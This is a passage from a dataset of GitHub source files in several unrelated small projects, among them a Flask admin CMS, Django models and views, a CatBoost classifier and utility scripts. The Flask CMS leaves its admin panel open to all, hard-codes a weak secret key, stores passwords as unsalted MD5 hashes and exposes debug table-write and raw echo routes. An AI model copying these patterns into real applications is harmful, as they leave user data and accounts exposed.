x[1]\")\nplt.xlabel(\"epoch\")\nplt.show()\n\n","repo_name":"liusida/DL-accelerated-EA","sub_path":"1.toy_problem/try_2d_pred.py","file_name":"try_2d_pred.py","file_ext":"py","file_size_in_byte":2475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38050555216","text":"import copy\nimport pathlib\n\nimport vstreamer_utils\nfrom vstreamer_utils import model\n\n\nclass DirectoryInfo:\n def __init__(self, path, directory_root):\n path = pathlib.Path(path)\n directory_root = pathlib.Path(directory_root)\n if not path.is_dir():\n raise ValueError(\"'%s' is not a directory\" % str(path))\n self.name = str(path.name)\n self.path = \"/\" + str(path.relative_to(directory_root))\n self.entries = sorted([model.FileEntry(x, directory_root) for x in path.iterdir()\n if x.is_dir() or vstreamer_utils.is_video_file(x)], key=DirectoryInfo._sort_key)\n if path != directory_root:\n back_dir = model.FileEntry(path.parent, directory_root)\n back_dir.filename = back_dir.properties[\"Filename\"] = \"..\"\n self.entries.insert(0, back_dir)\n vstreamer_utils.log_info(\"Created DirectoryInfo for '%s'\" % self.path)\n\n def __len__(self):\n return len(self.entries)\n\n def __getitem__(self, key):\n return self.entries[key]\n\n def light_copy(self):\n light = copy.copy(self)\n light.entries = list(map(lambda e: e.light_copy(), self.entries))\n return light\n\n def add_additional_properties(self, file, properties):\n for entry in self.entries:\n if entry.path == file:\n entry.apply_additional_properties(properties)\n self.entries.sort(key=DirectoryInfo._sort_key)\n return\n raise RuntimeError(\"'%s' not found in directory tree\" % file)\n\n @staticmethod\n def _sort_key(file_entry):\n return file_entry.is_video(), file_entry.properties[\"Filename\"]\n","repo_name":"artudi54/video-streamer","sub_path":"vstreamer_utils/model/DirectoryInfo.py","file_name":"DirectoryInfo.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"34443337843","text":"dni=1\r\nkm=10\r\nsymKmDni=0\r\nfor i in range(1,31):\r\n print(dni,\"день\",km,\"километров\")\r\n km+=km/10\r\n symKmDni+=km\r\n dni+=1\r\n if dni==7:\r\n print(\"Лыжник прошол за 7 дней:\",symKmDni,\"км\")\r\n if km>=80:\r\n print(\"Ему стоит остановится на\",dni,\"дне\")\r\n print(\"Введите 0 если хотите завершить программу\")\r\n userDay=int(input(\"Ведите день до которого лыжник будет тренироваться\"))\r\n dni=0\r\n if userDay==0:\r\n break\r\n for i in range(1,userDay):\r\n print(dni,\"день\",km,\"километров\")\r\n km+=km/10\r\n dni+=1\r\n \r\n","repo_name":"Vlas-1/DOMASHCA","sub_path":"DOMASHKA na 24.10.2020/24.10.2020.py","file_name":"24.10.2020.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41947727601","text":"from flask import Flask, request, render_template, flash\nfrom flask_admin import Admin\nfrom flask_admin.contrib.sqla import ModelView\nfrom flask_admin import BaseView, expose\nfrom flask_login import login_user, logout_user, current_user, login_required, LoginManager\nfrom flask_admin.model.template import macro\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy import Column, String, Integer, TIMESTAMP, BOOLEAN, ForeignKey, and_\nimport hashlib\nimport sys\nimport os\ncurrentUrl = os.path.dirname(__file__)\nparentUrl = os.path.abspath(os.path.join(currentUrl, os.pardir))\nsys.path.append(parentUrl)\n\nfrom databaseAPI.backendAPI import API\nfrom databaseAPI.defineTables import Creatable\nfrom databaseAPI.defineTables import *\nfrom databaseAPI.config import Config\nfrom databaseAPI.utils import jsonDumps\n\n__all__ = [\"app\"]\n\nDEBUG = True\nPORT = 8080\n\napi = API(Config.engine)\n\n\n\n# turn the template folder and static folder to absolute path\n# so that you can start the server in any working folder\ncurdir = os.path.abspath(os.path.dirname(__file__))\ntemplate_folder = os.path.join(curdir, \"template\")\n\nstatic_folder = os.path.join(curdir, \"static\")\n\napp = Flask(\"create404\", template_folder=template_folder, static_folder=static_folder)\napp.secret_key = '123456'\n\nlogin_manager = LoginManager()\nlogin_manager.login_view = 'login'\nlogin_manager.init_app(app)\nsession = sessionmaker(bind=Config.engine)()\n\nclass AdminModelView(ModelView):\n column_display_pk = True\n can_export = True\n can_view_details = True\n export_types = ['xls']\n column_formatters = dict(user=lambda v, c, m, p: m.email)\n\n def is_accessible(self):\n return True\n #return current_user.is_authenticated and (current_user.superuser or current_user.email in U.superuser_set)\n\n def inaccessible_callback(self, name, **kwargs):\n return 'logout'\n\n\nclass AdminAudioModelView(ModelView):\n edit_template = \"test.html\"\n can_export = True\n can_view_details = True\n export_types = ['xls']\n column_display_pk = True\n # column_display_all_relations = True\n column_formatters = dict(url=macro('render_audio'))\n def is_accessible(self):\n return True\n return current_user.is_authenticated and (current_user.superuser or current_user.email in U.superuser_set)\n\n\n\nclass LogoutView(BaseView):\n @expose('/')\n def index(self):\n logout_user()\n return U.redirect('../../login')\n\nadmin = Admin(app, url = '/admin', name = 'create404', template_mode = 'bootstrap3')\n\n\nadmin.add_view(AdminModelView(User, api.session))\nadmin.add_view(AdminModelView(Audio, api.session))\nadmin.add_view(AdminModelView(AudioTag, api.session))\nadmin.add_view(AdminModelView(Medal, api.session))\nadmin.add_view(AdminModelView(Comment, api.session))\nadmin.add_view(AdminModelView(Collection, api.session))\nadmin.add_view(AdminModelView(R_User_Create_Audio, api.session))\nadmin.add_view(AdminModelView(R_Audio_Has_AudioTag, api.session))\nadmin.add_view(AdminModelView(R_User_Has_Medal, api.session))\nadmin.add_view(AdminModelView(R_User1_Follow_User2, api.session))\nadmin.add_view(AdminModelView(R_Audio_In_Collection, api.session))\nadmin.add_view(AdminModelView(R_User_Like_Audio, api.session))\nadmin.add_view(AdminModelView(R_User_Like_Comment, api.session))\nadmin.add_view(AdminModelView(Message, api.session))\nadmin.add_view(LogoutView(name = 'Logout', endpoint = 'logout'))\n\n\n@login_manager.user_loader\ndef load_user(userid):\n return session.query(CMSUser).filter_by(id=int(userid)).first()\n\n\nclass U:\n @staticmethod\n def redirect(uri):\n return render_template('redirect.html', uri = uri)\n\n\n@app.route('/')\ndef index_default():\n return U.redirect('login')\n\n\n\n\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef index():\n if current_user.is_authenticated:\n logout_user()\n return render_template('login.html')\n\n if request.method == 'GET':\n return render_template('login.html')\n else:\n login = request.form.to_dict()\n\n md5 = hashlib.md5()\n md5.update(login['password'].encode('utf-8'))\n md5password = md5.hexdigest()\n\n # check user existence\n user = session.query(CMSUser).filter(and_(\n CMSUser.email == login['email'],\n CMSUser.password == md5password\n )).first()\n if not user:\n flash('no user', 'error')\n return U.redirect('login')\n # autologin\n login_user(user, 'off')\n\n return U.redirect('admin')\n\n@app.route('/logout', methods=['GET', 'POST'])\ndef logout():\n if current_user.is_authenticated:\n logout_user()\n return render_template('login.html')\n\n#adminuser = User.create('admin@admin', 'admin')\n\n\n@app.errorhandler(404)\ndef page_not_found(_):\n return \"Page not found.\", 404\n\n\n@app.route(\"/\", methods=[\"GET\"])\ndef getIndex():\n return ''\n\n\n@app.route(\"/myaudio\", methods=[\"GET\"])\ndef getaudio():\n return render_template('audio.html')\n\n\n@app.route(\"/api\", methods=[\"GET\", \"POST\"])\ndef dealRequests():\n if request.method == \"GET\":\n form = request.args.to_dict()\n elif request.method == \"POST\":\n form = request.form.to_dict()\n else:\n return \"supported method: get, post.\"\n result = api.postCallAPI(form)\n return jsonDumps(result)\n\n\nif DEBUG:\n # all debug interface\n @app.route(\"/debugapi/\", methods=[\"GET\", \"POST\"])\n def queryAPIWithoutTable():\n return \"Table not found. Url format: /debugapi/tablename\"\n\n\n @app.route(\"/debugapi/\", methods=[\"GET\", \"POST\"])\n def queryAPI(table):\n tableName = table.lower()\n if request.method == \"GET\":\n getArgs = request.args.to_dict()\n result = api.commonGetAPI(tableName, **getArgs)\n return jsonDumps(result)\n\n elif request.method == \"POST\":\n postForm = request.form.to_dict()\n result = api.commonAddAPI(tableName, **postForm)\n return jsonDumps(result)\n\n\n @app.route(\"/echo\", methods=[\"GET\"])\n def echo():\n return request.args.get(\"echo\")\n\n\n @app.route(\"/debug/\", methods=[\"GET\", \"POST\"])\n def debugPageWithoutTable():\n return \"Table not found. Url format: /debug/tablename\"\n\n\n @app.route(\"/debug/
\")\n def debugPage(table):\n tableName = table.lower()\n if tableName not in tables:\n return \"Table %s not found.\" % tableName\n fields = tables[tableName].__requiredFields__\n return render_template(\"debugPage.html\", fields=fields, tableName=tableName)\n\n\n @app.route('/testcos')\n def testcos():\n return render_template(\"test.html\")\n\nif __name__ == \"__main__\":\n\n app.run(host=\"0.0.0.0\", port=PORT)\n","repo_name":"zhiqiu/produce404","sub_path":"backend/CMS/cms.py","file_name":"cms.py","file_ext":"py","file_size_in_byte":6832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17064721970","text":"\"\"\"\nModule for classify genres of MP3 files.\nHas functions for classify and get state tasks.\n\"\"\"\n\n\nimport catboost\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import train_test_split\n\nfrom consts import SCALER_FILENAME, MODEL_FILENAME, DATASET_FILENAME\nfrom save_load import save_model, save_scaler, load_dataset, load_model\n\n\ndef get_data(filename):\n \"\"\"\n Get data for train from filename dataset.\n :param filename: dataset file\n :return: features (X) and target (y)\n \"\"\"\n df = load_dataset(filename)\n y = df.label\n X = df.loc[:, (df.columns != \"label\") & (df.columns != \"filename\")]\n\n return X, y\n\n\ndef train_model(X_train, X_test, y_train, y_test):\n \"\"\"\n Contains code for train CatBoostClassifier. Uses GPU for training.\n Don't change parameters - this is best parameters for this task.\n :param X_train: features for train\n :param X_test: features for test\n :param y_train: targets of the train features\n :param y_test: targets of the test features\n :return: fitted CatBoostClassifier object\n \"\"\"\n model = catboost.CatBoostClassifier(\n iterations=3346,\n random_seed=20220512,\n depth=6,\n l2_leaf_reg=0.1,\n task_type=\"GPU\",\n devices=\"0:1\",\n eval_metric=\"Accuracy\",\n )\n train_pool = catboost.Pool(data=X_train, label=y_train)\n eval_pool = catboost.Pool(data=X_test, label=y_test)\n model.fit(train_pool, eval_set=eval_pool, verbose=1000)\n return model\n\n\ndef train_scaler(X):\n \"\"\"\n Trains scaler for dataset.\n :param X: dataset\n :return: fitted preprocessing.MinMaxScaler object\n \"\"\"\n result = preprocessing.MinMaxScaler().fit(X)\n return result\n\n\ndef train_model_and_scaler(filename):\n \"\"\"\n Full pipeline for getting data and training models.\n :param filename: full dataset file\n :return: fitted CatBoostClassifier object,\n fitted preprocessing.MinMaxScaler object\n \"\"\"\n X, y = get_data(filename)\n X_train, X_test, y_train, y_test = train_test_split(\n X, y, test_size=0.3, random_state=42\n )\n min_max_scaler = train_scaler(X_train)\n model = train_model(X_train, X_test, y_train, y_test)\n\n return model, min_max_scaler\n\n\ndef get_current_state():\n \"\"\"\n Train all before running experiments.\n All filenames in consts.py.\n :return: nothing\n \"\"\"\n model, min_max_scaler = train_model_and_scaler(DATASET_FILENAME)\n save_model(model, MODEL_FILENAME)\n save_scaler(min_max_scaler, SCALER_FILENAME)\n\n\ndef classify(features):\n \"\"\"\n Uses model MODEL_FILENAME for classify features.\n :param features: features for classify.\n :return: genre and probabilities vector.\n \"\"\"\n model = load_model(MODEL_FILENAME)\n genre = model.predict(features)\n prob = model.predict_proba(features)\n\n return genre[0], prob\n","repo_name":"Polisika/generate_music_analysis","sub_path":"classify.py","file_name":"classify.py","file_ext":"py","file_size_in_byte":2846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16082441659","text":"import sys\nfout=open('out.txt','w')\nfor file in sys.argv[1:]:\n\tlines = list(open(file))\n\tjp=[];cn=[]\n\tk=0\n\tfor j in xrange(len(lines)):\n\t\tif k==0:\n\t\t\tjp.append(lines[j].strip()+'\\\\n\\\\\\n');k=1\n\t\telse:\n\t\t\tcn.append(lines[j].strip()+'\\\\n\\\\\\n');k=0\n\tif k==1: jp.pop()\n\tfout.write('{\\t\"title\":\"\",\\n\\t\"jp\":\"')\n\tfor l in jp:\n\t\tfout.write(l)\n\tfout.write('\",\\n\\t\"cn\":\"')\n\tfor l in cn:\n\t\tfout.write(l)\n\tfout.write('\"},\\n')","repo_name":"sibojia/sibojia.github.io","sub_path":"lyric_parse.py","file_name":"lyric_parse.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10191973714","text":"from django.db import models\n\n\nclass Excle(models.Model):\n name = models.CharField(max_length=10)\n excle = models.FileField(upload_to='%Y/%m/%d/')\n add_time = models.DateField(auto_now=True)\n\n\nclass HP(models.Model):\n name = models.CharField(default='', max_length=50, verbose_name='hp_name')\n blood = models.IntegerField(default=50)\n add_time = models.DateField(auto_now_add=True)\n change_time = models.DateField(auto_now=True)\n grade_choices = (('one', 'one'),\n ('two', 'two'),\n ('three', 'three'))\n grade = models.CharField(choices=grade_choices, default='one', max_length=100)\n\n def debuff(self, name_text):\n q = DeBuff.objects.filter(name=\"%s\" % name_text)\n return q\n\n def buff(self, name_text):\n q = DeBuff.objects.filter(name=\"%s\" % name_text)\n return q\n\n def __str__(self):\n return self.name\n\n\nclass DeBuff(models.Model):\n key = models.ForeignKey(HP)\n name = models.CharField(max_length=50, default='', verbose_name='DeBuff_name')\n\n Level1 = ('值班没带工作证', '遗漏报修', '工单超时', '私活影响值班', '不签到', '值班联系不上','Other1')\n Level2 = ('不接电话', '工单被投诉', '不回短信', '旷工', '不能单刷',\n '对女生言行不当', '私自以网维名义发布消息', '查到路由不反映', '攻击网络',\n '使用路由器影响正常上网',\n '态度消极', '泄露资料', '被教职员工投诉','Other2')\n Level3 = ('认知不清', '泄露私人号码', '借出工作证', '丢失工作证',\n '宣传路由', '出售IP', '分裂', 'Other3')\n DeBuff_Choices = (\n ('Level1', (\n ('没带工作证', '没带工作证'),\n ('遗漏报修', '遗漏报修'),\n ('工单超时', '工单超时'),\n ('私活影响值班', '私活影响值班'),\n ('不签到', '不签到'),\n ('值班联系不上','值班联系不上'),\n ('Other1', 'Other'),\n ),\n ),\n ('Level2', (\n ('不接电话', '不接电话'),\n ('工单被投诉', '工单被投诉'),\n ('不回短信', '不回短信'),\n ('旷工', '旷工'),\n ('不能单刷', '不能单刷'),\n ('对女生言行不当', '对女生言行不当'),\n ('私自以网维名义发布消息', '私自以网维名义发布消息'),\n ('查到路由不反映', '查到路由不反映'),\n ('攻击网络', '攻击网络'),\n ('使用路由器影响正常上网', '使用路由器影响正常上网'),\n ('态度消极', '态度消极'),\n ('泄露资料', '泄露资料'),\n ('被教职员工投诉','被教职员工投诉'),\n ('Other2', 'Other2')\n )\n ),\n ('Level3', (\n ('认知不清', '认知不清'),\n ('泄露私人号码', '泄露私人号码'),\n ('借出工作证', '借出工作证'),\n ('丢失工作证', '丢失工作证'),\n ('宣传路由', '宣传路由'),\n ('出售IP', '出售IP'),\n ('分裂', '分裂'),\n ('Other3', 'Other3')\n )\n )\n )\n\n DeBuff_Reason = models.CharField(choices=DeBuff_Choices, max_length=100)\n DeBuff_Text = models.CharField(max_length=100, default='none', blank=True)\n add_time = models.DateField(auto_now_add=True, null=True)\n\n def __str__(self):\n return self.name\n\n def save(self, *args, **kwargs):\n super(DeBuff, self).save(*args, **kwargs)\n q = HP.objects.get(name=self.name)\n if self.DeBuff_Reason in self.Level1:\n q.blood -= 10\n q.save()\n elif self.DeBuff_Reason in self.Level2:\n q.blood -= 20\n q.save()\n elif self.DeBuff_Reason in self.Level3:\n q.blood -= 30\n q.save()\n\n\nclass Buff(models.Model):\n key = models.ForeignKey(HP)\n name = models.CharField(default='', max_length=50, verbose_name='Buff_name')\n\n Buff_Choices = (\n ('工作积极', '工作积极'),\n ('表现良好', '表现良好'),\n ('加班', '加班'),\n ('态度积极', '态度积极'),\n ('贡献想法', '贡献想法')\n )\n Buff_Reason = models.CharField(choices=Buff_Choices, max_length=100)\n Buff_Text = models.CharField(max_length=100, default='none', blank=True)\n add_time = models.DateField(auto_now_add=True, null=True)\n Level = ('工作积极', '表现良好', '加班', '态度积极', '贡献想法',)\n\n def __str__(self):\n return self.name\n\n def save(self, *args, **kwargs):\n super(Buff, self).save(*args, **kwargs)\n q = HP.objects.get(name=self.name)\n q.blood += 5\n q.save()\n","repo_name":"eva990417744/zsxywwhp","sub_path":"venv/untitled/hp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41504893950","text":"# find index of all occurrences of an item in a file in python\nname = input('Enter name of a File : ')\nhandle = open(name, 'r')\ncount = 0\nfor line in handle:\n words = line.split()\n print(words)\n\nsearch = input(\"Enter element for search : \")\nfor i in range(len(words)):\n if words[i] == search:\n count += 1\nindexes = [i for i in range(len(words)) if words[i] == search]\nprint(search, \"- is is\", count, \"times in the list. The indexes of the item is\", indexes)\nhandle.close()","repo_name":"aishwarya1999-roy/Python_Practice","sub_path":"2022 - 07 - July/occurrence_of_a_item_in_file/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15556898399","text":"from datetime import datetime, timedelta\n\nimport pytz\n\nfrom sci_watch.source_wrappers.openai_wrapper import OpenAIBlogWrapper\n\n\ndef test_openai_wrapper():\n current_date = pytz.UTC.localize(datetime.now())\n\n start_scrapping_date = current_date - timedelta(days=120)\n end_scrapping_date = current_date + timedelta(days=1)\n\n openai_wrapper = OpenAIBlogWrapper(\n max_documents=10, start_date=start_scrapping_date, end_date=end_scrapping_date\n )\n\n openai_wrapper.update_documents()\n\n # check if the wrapper returns 1 to 10 blog posts\n assert 0 < len(openai_wrapper.documents) <= 10\n","repo_name":"AghilesAzzoug/SciWatch","sub_path":"tests/unit/test_openai_source_wrapper.py","file_name":"test_openai_source_wrapper.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"35958114021","text":"# https://www.geeksforgeeks.org/first-set-in-syntax-analysis/ (first)\nfrom typing import List\nfrom pprint import pprint\n\nENDING_SYM = None\n\n\nrules = [\n {\"left\":\"E\", \"right\":[\"T\",\"E'\"]},\n {\"left\":\"E'\",\"right\":[\"+\",\"T\",\"E'\"]},\n {\"left\":\"E'\",\"right\":[ENDING_SYM]},\n {\"left\":\"T\", \"right\":[\"F\",\"T'\"]},\n {\"left\":\"T'\",\"right\":[\"*\",\"F\",\"T'\"]},\n {\"left\":\"T'\",\"right\":[ENDING_SYM]},\n {\"left\":\"F\", \"right\":[\"id\"]},\n {\"left\":\"F\", \"right\":[\"(\",\"E\",\")\"]},\n] \n\nfirstSets = {}\n\n# def isNoTerm(item): return item.isupper()\n\nall_no_term = set([item['left'] for item in rules])\ndef isNoTerm(item): return item in all_no_term\n\ndef getSet(dict, key) -> set:\n if key not in dict:\n dict[key] = set()\n return dict[key]\n\n# set_: 旧的目标fristSet\n# items: 右侧项集\n# additionSet: [ϵ]\ndef collectFirstSet(firset: set, items: List[str], additionSet: List[str]) -> set:\n # 下面的continue和break模仿的是js的every语义\n for idx, item in enumerate(items):\n # 如非终接符 循环处理\n if isNoTerm(item):\n item_first_set = getSet(firstSets, item)\n firset = firset.union( [sym for sym in item_first_set if sym != ENDING_SYM] )\n # 如果这个ϵ能一直串接下去\n if ENDING_SYM in item_first_set:\n # 后面还有字符继续\n if len(items) > idx + 1 and items[idx + 1]:\n continue\n # 后面没有字符,对first集就加上ϵ\n firset = firset.union(additionSet)\n else:\n break\n # 如终接符 只取一个\n else:\n firset = firset.union([item])\n break\n return firset\n\ndef makeFirstSets():\n isSetChanged: bool = True\n while isSetChanged:\n isSetChanged = False\n for rule in rules:\n left, right = rule['left'], rule['right']\n firstSet = getSet(firstSets, left)\n firstSet = collectFirstSet(firstSet, right, [ENDING_SYM])\n if len(firstSets[left]) != len(firstSet):\n firstSets[left] = firstSet\n isSetChanged = True\n\nmakeFirstSets() \npprint(firstSets) ","repo_name":"futurepaycc/automata_practise1","sub_path":"lr_test/first2.py","file_name":"first2.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"21609694204","text":"import io\nfrom textwrap import dedent\n\nimport pytest\n\nfrom repoma.format_setup_cfg import _format_setup_cfg\n\n\n@pytest.mark.parametrize(\n (\"unformatted\", \"expected\"),\n [\n (\n \"\"\"\\\n [options.extras_require]\n dev =\n tox >= 1.9 # for skip_install, use_develop\n \"\"\",\n \"\"\"\\\n [options.extras_require]\n dev =\n tox >=1.9 # for skip_install, use_develop\n \"\"\",\n ),\n (\n \"\"\"\\\n numpy>=1.16,<1.21\n pytest==6.2.5\n tox>=1.9\n Sphinx >= 3\n \"\"\",\n \"\"\"\\\n numpy >=1.16, <1.21\n pytest==6.2.5\n tox >=1.9\n Sphinx >=3\n \"\"\",\n ),\n ],\n)\ndef test_format_config(unformatted: str, expected: str):\n unformatted = dedent(unformatted)\n formatted = io.StringIO()\n _format_setup_cfg(input=io.StringIO(unformatted), output=formatted)\n formatted.seek(0)\n assert formatted.read() == dedent(expected)\n","repo_name":"ComPWA/repo-maintenance","sub_path":"tests/test_format_setup_cfg.py","file_name":"test_format_setup_cfg.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"5100526770","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Workshop, Stitch, BasicArticle\nfrom datetime import datetime\nfrom accounts.models import UserProfile\n\n\ndef check_if_user_profile(request):\n if request.user.is_authenticated:\n [profile, created] = UserProfile.objects.get_or_create(\n user=request.user)\n return profile\n\n# add/remove attendance at workshops\n \n@login_required\ndef add_attending(request, id):\n workshop = get_object_or_404(Workshop, id=id)\n if request.method == \"POST\":\n request.user.profile.attending.add(workshop)\n return redirect(request.POST.get(\"redirect_url\"))\n\n\n@login_required\ndef remove_attending(request, id):\n workshop = get_object_or_404(Workshop, id=id)\n if request.method == \"POST\":\n request.user.profile.attending.remove(workshop)\n return redirect(request.POST.get(\"redirect_url\"))\n\n\n@login_required\ndef my_workshops(request):\n today = datetime.today()\n profile = check_if_user_profile(request)\n\n attending = profile.attending.all().filter(\n datetime__gte=today).order_by(\"datetime\")\n attended = profile.attending.all().filter(\n datetime__lt=today).order_by(\"datetime\")\n return render(request, 'registration/my_workshops.html', {\"attending\": attending, \"attended\": attended})\n\n#bookmark/remove bookmark stitches\n@login_required\ndef add_bookmark(request, id):\n stitch = get_object_or_404(Stitch, id=id)\n if request.method == \"POST\":\n request.user.profile.saved.add(stitch)\n return redirect(request.POST.get(\"redirect_url\"))\n\n\n@login_required\ndef remove_bookmark(request, id):\n stitch = get_object_or_404(Stitch, id=id)\n if request.method == \"POST\":\n request.user.profile.saved.remove(stitch)\n return redirect(request.POST.get(\"redirect_url\"))\n\n\n@login_required\ndef my_saved_stitches(request):\n today = datetime.today()\n profile = check_if_user_profile(request)\n\n saved = profile.saved.all().filter()\n return render(request, 'registration/my_saved_stitches.html', {\"saved\": saved})\n\n\n###\ndef learn(request):\n return render(request, 'learn/learn.html')\n\n\ndef list(request):\n today = datetime.today()\n\n filter_map = {\n 'keywords': 'keywords__icontains',\n }\n\n filters = {}\n for key, value in request.GET.items():\n filter_key = filter_map[key]\n filters[filter_key] = value\n\n\n workshops = Workshop.objects.filter(\n #Greater than or equal to\n datetime__gte=today).filter(**filters).order_by('datetime')\n \n return render(request, 'learn/list.html', {'workshops': workshops})\n\n\ndef details(request, title):\n workshop = get_object_or_404(Workshop, title=title)\n print(workshop)\n return render(request, 'learn/details.html', {'workshop': workshop})\n\n\ndef stitch_guide(request):\n filter_map = {\n 'stitch': 'stitch__icontains',\n }\n\n filters = {}\n for key, value in request.GET.items():\n filter_key = filter_map[key]\n filters[filter_key] = value\n\n\n stitches = Stitch.objects.filter(**filters).order_by('stitch')\n return render(request, 'learn/stitch_guide.html', {'stitches': stitches})\n\n\ndef the_basics(request):\n filter_map = {\n 'title': 'title__icontains',\n }\n\n filters = {}\n for key, value in request.GET.items():\n filter_key = filter_map[key]\n filters[filter_key] = value\n\n\n articles = BasicArticle.objects.filter(**filters)\n return render(request, 'learn/the_basics.html', {'articles': articles})\n\n\ndef basics_details(request, title):\n article = get_object_or_404(BasicArticle, title=title)\n print(article)\n return render(request, 'learn/the_basics_details.html', {'article': article})\n","repo_name":"Sarah-Irvine/the_wool_club","sub_path":"the_wool_club/learn/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18344714778","text":"#!/usr/bin/env python3\n\n\"\"\"Class for handling the project configuration\"\"\"\n\nimport re\nimport warnings\n\nimport requests\nimport yaml\nfrom atlassian.confluence import Confluence\n\n# Default configuration file path\nDEFAULT_CONFIG_PATH = \"config.yml\"\n\n# Show warnings only once:\nwith warnings.catch_warnings():\n warnings.simplefilter(\"once\")\n\n\nclass Configuration:\n \"\"\"Class for handling the project configuration\"\"\"\n\n def __init__(self, path=DEFAULT_CONFIG_PATH):\n \"\"\"Creation Config object holding the project configuration\n\n :param path: path to the configuration file\n :type item: str\n \"\"\"\n self.config_file = path\n self.set_config(path=path)\n\n def get_config(self):\n \"\"\"Get the configuration as defined by the project\n\n :return: dictionary with project configuration\n :rtype: dict\n \"\"\"\n return self.__config\n\n def set_config(self, path):\n \"\"\"Set the project configuration via file path\n\n Arguments:\n path {str} -- File location of the config (yaml)\n \"\"\"\n self.__config = dict(self.__read_yaml_file(path))\n\n def __read_yaml_file(self, path):\n \"\"\"\n Open the yaml file and load it to the variable.\n\n :param path: path to a file\n :type item: str\n :return: yaml content as dictionary\n :rtype: dict\n \"\"\"\n with open(path) as f:\n yaml_fields = yaml.load_all(f.read(), Loader=yaml.FullLoader)\n\n buff_results = list(yaml_fields)\n if len(buff_results) > 1:\n result = buff_results[0]\n result[\"additions\"] = buff_results[1:]\n else:\n result = buff_results[0]\n\n return result\n\n @property\n def config(self) -> dict:\n \"\"\"Property to get configuration dictionary\n\n :return: configuration dictionary\n :rtype: dict\n \"\"\"\n return self.get_config()\n\n\n# Initialize global config\nConfig = Configuration()\n\n\nclass Utils:\n \"\"\"Class which consists of handful methods used throughout the project\"\"\"\n\n @staticmethod\n def read_text_file(path):\n \"\"\"Open the file and load it to the variable. Return text\"\"\"\n with open(path, mode=\"r\", encoding=\"utf-8\") as f:\n rule_text = f.read()\n\n return rule_text\n\n @staticmethod\n def read_yaml_file(path):\n \"\"\"Load yaml file to the variable.\n\n :return: dictionary with yaml file content\n :rtype: dict\n \"\"\"\n if path == \"config.yml\":\n wrn = \"Use 'load_config' or 'Config' instead for config\"\n # Warning will not show,\n # unless captured by logging facility or python called with -Wd\n warnings.warn(message=wrn, category=DeprecationWarning)\n return Config.config\n\n with open(path, encoding=\"utf-8\", mode=\"r\") as f:\n yaml_fields = yaml.load_all(f.read(), Loader=yaml.FullLoader)\n\n buff_results = list(yaml_fields)\n if len(buff_results) > 1:\n result = buff_results[0]\n result[\"additions\"] = buff_results[1:]\n else:\n result = buff_results[0]\n return result\n\n @staticmethod\n def parse_yaml_from_string(yaml_string):\n \"\"\"Parse yaml string to dictionary\n\n :param yaml_string: string with yaml fields\n :type yaml_string: str\n :return: dictionary with yaml string content\n :rtype: dict\n \"\"\"\n return yaml.safe_load(yaml_string)\n\n @staticmethod\n def load_config(path):\n \"\"\"Load the configuration file into a dictionary\n\n :return: dictionary with configuration\n :rtype: dict\n \"\"\"\n return Configuration(path).config\n\n @staticmethod\n def write_file(path: str, content: str, options=\"w+\") -> bool:\n \"\"\"Write content to some file\n\n :param path: path to write\n :type path: str\n :param content: content to write\n :type content: str\n :return: status of the operation\n :rtype: bool\n \"\"\"\n with open(path, options, encoding=\"utf-8\") as file:\n file.write(content)\n return True\n\n @staticmethod\n def confluence_get_page_id(apipath: Confluence, auth, space, title):\n \"\"\"Get confluence page ID based on title and space\n\n :return: _description_\n :rtype: _type_\n \"\"\"\n headers = {\"Accept\": \"application/json\", \"Content-Type\": \"application/json\"}\n\n url = apipath + \"content\"\n space_page_url = (\n url + \"?spaceKey=\" + space + \"&title=\" + title + \"&expand=space\"\n )\n\n if isinstance(auth, str):\n headers[\"Authorization\"] = f\"Bearer {auth}\"\n response = requests.request(\"GET\", space_page_url, headers=headers)\n else:\n response = requests.request(\n \"GET\", space_page_url, headers=headers, auth=auth\n )\n\n if response.status_code == 401:\n print(\n \"Unauthorized Response. Try to use a token instead of a password. \"\n + \"Follow the guideline for more info: \\n\"\n + \"https://developer.atlassian.com/cloud/confluence/basic-auth-\"\n + \"for-rest-apis/#supplying-basic-auth-headers\"\n )\n exit()\n else:\n response = response.json()\n\n # Check if response contains proper information and return it if so\n if response.get(\"results\"):\n if isinstance(response[\"results\"], list):\n if response[\"results\"][0].get(\"id\"):\n return response[\"results\"][0][\"id\"]\n\n # If page not found\n return None\n\n @staticmethod\n def normalize_react_title(title: str, fmtrules: dict) -> str:\n \"\"\"Normalize title if it is a RA/RP title in the following format:\n\n RP_0003_identification_make_sure_email_is_a_phishing\n \"\"\"\n react_id_re = re.compile(r\"R[AP]_\\d{4}_.*$\")\n if react_id_re.match(title):\n title = title[8:].split(\"_\", 0)[-1].replace(\"_\", \" 